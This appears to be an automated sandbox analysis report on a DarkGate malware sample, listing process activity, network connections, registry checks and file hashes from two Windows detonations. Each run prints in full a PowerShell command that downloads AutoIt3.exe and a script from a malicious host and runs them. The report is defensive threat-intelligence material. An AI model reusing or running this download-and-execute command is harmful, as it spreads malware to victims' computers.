Analysis Overview
SHA256
5b5f06c9969bf17491cbe0adf51fff0c279f1a5906d91d4e2ad449af78cdc3d1
Threat Level: Known bad
The file bb897b6af926de14bba7e9752318061a.bin was found to be: Known bad.
Malicious Activity Summary
DarkGate
Blocklisted process makes network request
Downloads MZ/PE file
Executes dropped EXE
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Checks processor information in registry
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-05 02:58
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-05 02:58
Reported
2023-11-05 03:01
Platform
win7-20231020-en
Max time kernel
121s
Max time network
125s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2660 wrote to memory of 2268 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2660 wrote to memory of 2268 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2660 wrote to memory of 2268 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiyfjjdsnw' -OutFile 'yfjjdsnw.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'yfjjdsnw.au3'"; Stop-Process -Name "WScript"
Network
Files
memory/2268-4-0x000000001B1C0000-0x000000001B4A2000-memory.dmp
memory/2268-5-0x00000000023A0000-0x00000000023A8000-memory.dmp
memory/2268-6-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp
memory/2268-7-0x00000000028B0000-0x0000000002930000-memory.dmp
memory/2268-8-0x00000000028B0000-0x0000000002930000-memory.dmp
memory/2268-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp
memory/2268-10-0x00000000028B0000-0x0000000002930000-memory.dmp
memory/2268-11-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-05 02:58
Reported
2023-11-05 03:01
Platform
win10v2004-20231023-en
Max time kernel
146s
Max time network
150s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\tepp\AutoIt3.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\tepp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2620 wrote to memory of 376 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2620 wrote to memory of 376 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 376 wrote to memory of 4744 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 376 wrote to memory of 4744 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 376 wrote to memory of 4744 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiyfjjdsnw' -OutFile 'yfjjdsnw.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'yfjjdsnw.au3'"; Stop-Process -Name "WScript"
C:\tepp\AutoIt3.exe
"C:\tepp\AutoIt3.exe" yfjjdsnw.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 72.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | showmoreresultonliner.com | udp |
| US | 195.123.233.152:2351 | showmoreresultonliner.com | tcp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 152.233.123.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 39.142.81.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 121.175.53.84.in-addr.arpa | udp |
| US | 195.123.233.152:2351 | showmoreresultonliner.com | tcp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.65.42.20.in-addr.arpa | udp |
Files
memory/376-0-0x000001D95F430000-0x000001D95F452000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wmqt1i40.sig.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/376-10-0x00007FFFABA90000-0x00007FFFAC551000-memory.dmp
memory/376-11-0x000001D95F460000-0x000001D95F470000-memory.dmp
memory/376-12-0x000001D95F460000-0x000001D95F470000-memory.dmp
memory/376-13-0x00007FFFABA90000-0x00007FFFAC551000-memory.dmp
memory/376-14-0x000001D95F460000-0x000001D95F470000-memory.dmp
memory/376-15-0x000001D95F460000-0x000001D95F470000-memory.dmp
memory/376-16-0x000001D95F460000-0x000001D95F470000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/376-30-0x00007FFFABA90000-0x00007FFFAC551000-memory.dmp
C:\tepp\yfjjdsnw.au3
| MD5 | fe9e5fe5f346caa35bed17f44ae01aae |
| SHA1 | aa5229f252f7a27ab39838dcea732c5a622ccfe7 |
| SHA256 | dff942a5e4e09480637208b09ee7ff4c6c4531981dc4f122baa29a63dd6fba66 |
| SHA512 | d52721bdf642ac9c26408102a19e22b7e9bc7efcdb15b9b66df646bacdb59001a0a5cc37ff5d8137e933a5c32367f4bcc8c2817c333ef19f5734711b683c8523 |
memory/4744-33-0x0000000001530000-0x0000000001930000-memory.dmp
memory/4744-34-0x0000000004610000-0x000000000493A000-memory.dmp
memory/4744-35-0x0000000004610000-0x000000000493A000-memory.dmp